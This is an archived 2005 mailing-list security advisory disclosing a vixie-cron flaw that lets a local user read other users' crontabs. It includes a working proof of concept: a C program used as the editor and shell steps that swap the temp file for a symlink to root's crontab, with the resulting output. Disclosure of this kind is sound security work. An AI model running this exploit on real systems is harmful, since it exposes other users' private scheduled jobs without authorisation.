OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
crontab from vixie-cron allows read other users crontabs

From: Karol Wiêsek (appelastdrumnbass.art.pl)
Date: Wed Apr 06 2005 - 05:00:48 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Name: vixie-cron
Author: Karol Wiêsek <appelastdrumnbass.art.pl>
Date: Mar 21, 2005

Issue:

crontab allows any user to read another users crontabs

Description:

Crontab is used to create special files used by cron to execute commands
at specified dates and times.

Details:

Insufficient checks allows user to change during edition regular file to
symbolic link to any file. While copying crontab uses root permisions,
but also checks entrys, so attacker is only able to read properly
formated crontab files (another users crontabs).

Exploit:

[appelasthoga ~]$ crontab -l
[appelasthoga ~]$ cat c.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main(int ac, char *av[])
        {
        int pid;

        if (ac>1)
                printf("%s\n", av[1]);
        pid = fork();
        if (pid)
                execl("/bin/bash","bash",0);
        if (pid>0)
                wait((void*)0);
        return 0;
}
[appelasthoga ~]$ export EDITOR=/home/appelast/c
[appelasthoga ~]$ crontab -e
/tmp/crontab.XXXX63oldL
[appelasthoga tmp]$ unlink /tmp/crontab.XXXX63oldL
[appelasthoga tmp]$ ln -s /var/spool/cron/root /tmp/crontab.XXXX63oldL
[appelasthoga tmp]$ exit
crontab: installing new crontab
[appelasthoga ~]$ crontab -l
* * * * * /bin/true
[appelasthoga ~]$

Vulnerability was tested on Fedora Core 3 with vixie-cron-4.1-24_FC3
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFCU7NQFTSet8AbQUQRAuAuAJ9CdR/LD5nO8778E71GpT2ZyTDHCQCgh1+I
mvIisw6+p8XQd/ReiRwKyfo=
=KQq/
-----END PGP SIGNATURE-----